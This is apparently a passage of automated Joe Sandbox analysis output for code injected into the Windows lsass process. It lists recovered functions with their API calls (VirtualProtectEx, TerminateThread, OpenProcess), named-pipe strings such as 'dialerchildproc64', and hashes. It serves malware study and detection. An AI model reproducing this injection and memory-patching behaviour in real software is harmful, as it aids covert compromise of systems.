Instruction Fuzzy Hash: 0941183028174441FA6BAB6799553E922926B5C7B0F744B24AF3E4B6F6DE789C01C2C3

Function 00000140AE86A544 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140AE86A5A1

Part of subcall function 00000140AE86B414: __GetUnwindTryBlock.LIBCMT ref: 00000140AE86B457
Part of subcall function 00000140AE86B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140AE86B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140AE86A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140AE86A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140AE86A9DA

Strings

F]:82, xrefs: 00000140AE86A55D
csm, xrefs: 00000140AE86A5BB
csm, xrefs: 00000140AE86A622
csm, xrefs: 00000140AE86A69C

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: F]:82$csm$csm$csm
API String ID: 849930591-967428003
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 7b4ba636362c0b5caa681dd8b7c7e919a21c7b74d1dcc59cd2284cb1c0ce2a62
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: 80E1B5726447408AEB62DF66D4803DD77A0F74DBA8F200156EF9D57BA9CB38C881D782

Function 00000140AE86F394 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 00000140AE86F510
GetProcAddress.KERNEL32 ref: 00000140AE86F51C

Strings

api-ms-, xrefs: 00000140AE86F45A
F]:82, xrefs: 00000140AE86F3D0, 00000140AE86F4B5, 00000140AE86F527
ext-ms-, xrefs: 00000140AE86F46D

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: F]:82$api-ms-$ext-ms-
API String ID: 3013587201-3388934289
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 54f3c5caea9a3c542447f16078fc342d6fc1075fabbd0ba72b9af9b604dcfd33
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 0A41AE32391B0082EB27CF17A9047D56391BB4DBB0F7945259E0E97BA4EE38CC45D392

Function 00000140AE862244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 00000140AE862259
GetCurrentProcessId.KERNEL32 ref: 00000140AE862263

Part of subcall function 00000140AE861934: OpenProcess.KERNEL32 ref: 00000140AE861952
Part of subcall function 00000140AE861934: IsWow64Process.KERNEL32 ref: 00000140AE861968
Part of subcall function 00000140AE861934: CloseHandle.KERNEL32 ref: 00000140AE861983

CreateFileW.KERNEL32 ref: 00000140AE8622BC
WriteFile.KERNEL32 ref: 00000140AE8622E4
ReadFile.KERNEL32 ref: 00000140AE862303
CloseHandle.KERNEL32 ref: 00000140AE86230C

Strings

\\.\pipe\dialerchildproc32, xrefs: 00000140AE862293
\\.\pipe\dialerchildproc64, xrefs: 00000140AE86228C

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: d526e0782f541ea269add2dfc30b9375b8e19e2713657146a865421fd34f2e67
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: FB213936654B40C2EB11CB26E54839A77A1F789BA4F600215EF5D03BB8CF3CC949CB41

Function 00000140ADFC9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00000140ADFC99A1

Part of subcall function 00000140ADFCA814: __GetUnwindTryBlock.LIBCMT ref: 00000140ADFCA857
Part of subcall function 00000140ADFCA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00000140ADFCA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00000140ADFC9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00000140ADFC9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 00000140ADFC9DDA

Strings

csm, xrefs: 00000140ADFC99BB
csm, xrefs: 00000140ADFC9A22
csm, xrefs: 00000140ADFC9A9C

Memory Dump Source

Source File: 00000027.00000002.3285030021.00000140ADFC0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140ADFC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140adfc0000_lsass.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 610288a21bba7234f961b83c38f566fdeb512e40ac2c0f228fa86b943482e177
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 21E1AE726247488BEB62DB26D4803DE37B3FB49B89F200115EF8957BA5DB34C1A2D700

Function 00000140AE865B30 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865B6B
GetThreadContext.KERNEL32 ref: 00000140AE865CD5

Part of subcall function 00000140AE865960: GetCurrentThreadId.KERNEL32 ref: 00000140AE865964

Strings

F]:82, xrefs: 00000140AE865B3C

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Thread$Current$Context
String ID: F]:82
API String ID: 1666949209-2422748741
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 4b8643210702c91202cb0783c5a391a2a26d50b369a2e2f855514301358eef3e
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 98D19736248B8882DA719B0AE49439A77A0F78CB94F600516EF8D47BB5DF3CC941CB81

Function 00000140AE86104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 00000140AE8610B1
RegEnumValueW.ADVAPI32 ref: 00000140AE861117
GetProcessHeap.KERNEL32 ref: 00000140AE86115A
HeapAlloc.KERNEL32 ref: 00000140AE861168
GetProcessHeap.KERNEL32 ref: 00000140AE861185
HeapFree.KERNEL32 ref: 00000140AE861193

Strings

d, xrefs: 00000140AE8610D6

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: f351be34048a7ac2b0398fd5e5befab81f97ba1f80314118af7c8759807b7470
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 54415B32614B84C6E761CF22E44439A77B1F389BA8F248129DF8D07B68DF38C849CB41

Function 00000140AE86D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D087
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0A6
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0CE
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0DF
FlsSetValue.KERNEL32(?,?,?,00000140AE86C7DE,?,?,?,?,?,?,?,?,00000140AE86CF9D,?,?,00000001), ref: 00000140AE86D0F0

Strings

1%, xrefs: 00000140AE86D0CE
Y%, xrefs: 00000140AE86D0A6

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 5fd4451407afae9fb266b5747a94aa354b26cb0abe68d3eef0f402a98e977e8e
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: D1114C3068434441FA6AAB275A513E962516B5C7F0F785B24AE3D076FEDE78DC02C683

Function 00000140AE867510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000140AE867538
__scrt_acquire_startup_lock.LIBCMT ref: 00000140AE86758A
_RTC_Initialize.LIBCMT ref: 00000140AE8675B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000140AE8675DE
__scrt_release_startup_lock.LIBCMT ref: 00000140AE867609

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 65cc65eb12478eed7e59dbe5af20ea895e9a9811b6e8982f7201964f625eb0cd
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: F2819F30A9034187FB53AB6798413D92292AB8D7B4F744525AF0C477B6EB3ACC45C7C2

Function 00000140AE86FC40 Relevance: 10.7, APIs: 1, Strings: 5, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000140AE86FD24

Strings

F]:82, xrefs: 00000140AE86FD54
F]:82, xrefs: 00000140AE86FD39
F]:82, xrefs: 00000140AE86FD42
F]:82, xrefs: 00000140AE86FD75, 00000140AE86FE10
F]:82, xrefs: 00000140AE86FD4B

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: F]:82$F]:82$F]:82$F]:82$F]:82
API String ID: 3215553584-1326181600
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8cbfef7c759d1503d62dee80ba3df973cf9f1eeee01b9a1c02a96c55a65f64a8
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: CD619E3268174082FA679F2B94443EA6AA1E78D7A0F744815DF0E077B9DB38DC41D282

Function 00000140AE869DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 00000140AE869E49
GetLastError.KERNEL32 ref: 00000140AE869E57
LoadLibraryExW.KERNEL32 ref: 00000140AE869E81
FreeLibrary.KERNEL32 ref: 00000140AE869EC7
GetProcAddress.KERNEL32 ref: 00000140AE869ED3

Strings

api-ms-, xrefs: 00000140AE869E69

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 03dcf4635245ae701bcfc235362316d2ff68836874f11cf0347ec2092aff8e99
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 9F319031292B40E1EF239B47A4007D56394B74CBB0F7985259E2E4B7A0EF7DC845C392

Function 00000140AE873DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000140AE873DE5
GetLastError.KERNEL32 ref: 00000140AE873DF1
CloseHandle.KERNEL32 ref: 00000140AE873E09
CreateFileW.KERNEL32 ref: 00000140AE873E34
WriteConsoleW.KERNEL32 ref: 00000140AE873E53

Strings

CONOUT$, xrefs: 00000140AE873E15

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: ad989254367ffea67bb77bf17bba7392694ea205673c5da45a75a0c92e4d569a
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 82114932650B4086E7528B53A84439977A4B79CFF4F644224EF5E87BA5CF38C814C782

Function 00000140AE863790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE86379E
GetCurrentProcess.KERNEL32 ref: 00000140AE8637CC
VirtualProtectEx.KERNEL32 ref: 00000140AE8637EE
GetCurrentProcess.KERNEL32 ref: 00000140AE863809
VirtualProtectEx.KERNEL32 ref: 00000140AE86382A

Strings

wr, xrefs: 00000140AE8637FF

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: fd890a10e18ff91e2345af510b04503e6d001258bbebb589a967ba1f92d71b91
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 81113936B45B8182FF159B23E4082A972A0FB8CBA5F640029DF9D077A4EF3DC905C745

Function 00000140AE862F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000140AE862F27
HeapAlloc.KERNEL32 ref: 00000140AE862F3A
StrCmpNIW.SHLWAPI ref: 00000140AE862FAF
GetProcessHeap.KERNEL32 ref: 00000140AE863015
HeapFree.KERNEL32 ref: 00000140AE863023

Strings

dialer, xrefs: 00000140AE862FA8

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: a2d052cb6962f498e3cef9ed57c0a8daa6a62b61da821da8834fd8d960af75c0
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: D231B332741B5182EB26DF1BE5447A9A7A0FB4DBA4F2881209F4C47B75EF34C8A5C781

Function 00000140AE86CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00000140AE86CFAF
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86CFE5
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D012
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D023
FlsSetValue.KERNEL32(?,?,?,00000140AE86D6B5,?,?,?,?,00000140AE86D778), ref: 00000140AE86D034
SetLastError.KERNEL32 ref: 00000140AE86D04F

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: b1e378f208745640ce80b78c559ffaa0a20b0e3a8eff5e4311b7b060cf634d78
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: F3112E3028534081FA66AB635A553A962416B9C7F4F344B24EE3E476FADE78DC01D6C3

Function 00000140AE872058 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000140AE8720D7
WriteFile.KERNEL32 ref: 00000140AE87239F
WriteFile.KERNEL32 ref: 00000140AE8723E5
GetLastError.KERNEL32 ref: 00000140AE87249B

Strings

F]:82, xrefs: 00000140AE87207D

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID: F]:82
API String ID: 2718003287-2422748741
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 4b0a4d86e2932106c0371b6ae4a27eadaf1a36e0bf94906de29ca74a04e3cc8d
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 44D1D072B54B8089E712CFAAD5403EC3BB1F3587A8F244216CF5D97BA9DA34C946C381

Function 00000140AE86199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000140AE8619C2
K32GetModuleFileNameExW.KERNEL32 ref: 00000140AE8619E0
PathFindFileNameW.SHLWAPI ref: 00000140AE8619EF
lstrlenW.KERNEL32 ref: 00000140AE8619FB
StrCpyW.SHLWAPI ref: 00000140AE861A0E
CloseHandle.KERNEL32 ref: 00000140AE861A1C

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 9022e9ca5b0b5f71c7b82a84b25e46de0569a46428ab685b711a92cff19137a4
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: A5015731740B4082EB51DB53A848799A3A1F78CBD1FA84035DF4D43B65DE38C989C781

Function 00000140AE8636C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 00000140AE8636E4
GetCurrentProcess.KERNEL32 ref: 00000140AE8636F2
VirtualProtectEx.KERNEL32 ref: 00000140AE863714
GetCurrentProcess.KERNEL32 ref: 00000140AE863732
VirtualProtectEx.KERNEL32 ref: 00000140AE863753
TerminateThread.KERNEL32 ref: 00000140AE863762

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 301de5e6a3bc59086d6f9150b82df67b6d6c22bbab0207dc7c03168e1951e1a1
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 01015774651B40C2EB269B23E81879973A0BB9DBA2F240428CF4D07774EF3CC908C782

Function 00000140AE868FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000140AE869013
_IsNonwritableInCurrentImage.LIBCMT ref: 00000140AE8690A8
RtlUnwindEx.NTDLL ref: 00000140AE8690F7

Strings

csm, xrefs: 00000140AE86908E
f, xrefs: 00000140AE869026

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: bd338bf40550659d0ab490f789d63c081b601061abea68a920c6aca0165ba548
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: 8351A13265170086EB16CB16E848B9937A6F348BA8F318524DF1A477E8DB3DCC41C782

Function 00000140AE867960 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000140AE86798C
GetCurrentThreadId.KERNEL32 ref: 00000140AE86799A
GetCurrentProcessId.KERNEL32 ref: 00000140AE8679A6
QueryPerformanceCounter.KERNEL32 ref: 00000140AE8679B6

Strings

F]:82, xrefs: 00000140AE86796D

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID: F]:82
API String ID: 2933794660-2422748741
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a5c049cb69e96cfbb56616fdcd891d3e75a6c1cb872cb67dafead8936c6c1fcc
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 28110632B50B018AEB008B61E8542A833A4F719768F540E21DF6D87BA4DF78C598D2C1

Function 00000140AE863044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000140AE863066
StrCpyW.SHLWAPI ref: 00000140AE863076
StrCatW.SHLWAPI ref: 00000140AE863082
PathCombineW.SHLWAPI ref: 00000140AE863090

Strings

\\.\pipe\, xrefs: 00000140AE86305C

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 0e89825c8f5d70b27a483a01b8d98a85527b4973c2a0efa788cb30948269fb2a
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: A6F05E30644B8082EB058B53B9041996261AB8CFE0F245020EF4E07B78DE38C849C782

Function 00000140AE86BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000140AE86BCBD
GetProcAddress.KERNEL32 ref: 00000140AE86BCD3
FreeLibrary.KERNEL32 ref: 00000140AE86BCFA

Strings

mscoree.dll, xrefs: 00000140AE86BCB4
CorExitProcess, xrefs: 00000140AE86BCCC

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 0a5f03d881548423950f550b58b8fc74d35f60bbb561fa5f685fc2d061d5bb49
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 7EF06D71655B0582EB128B26E8443A97320EB8CBB5F740219CF6E472F4CF3DC948D381

Function 00000140AE8650D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865156

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_140ae860000_lsass.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 73fda85837acdd30ad006dc6ccb1667200e15de9212539d4e27f8f5c03466d3a
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 2702FA32259B8486EB61DB56F49439AB7A1F7C8794F200415EB8E87BB8DF7CC844CB41

Function 00000140AE865710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000140AE865726

Memory Dump Source

Source File: 00000027.00000002.3288679621.00000140AE860000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000140AE860000, based on PE: true

Joe Sandbox IDA Plugin

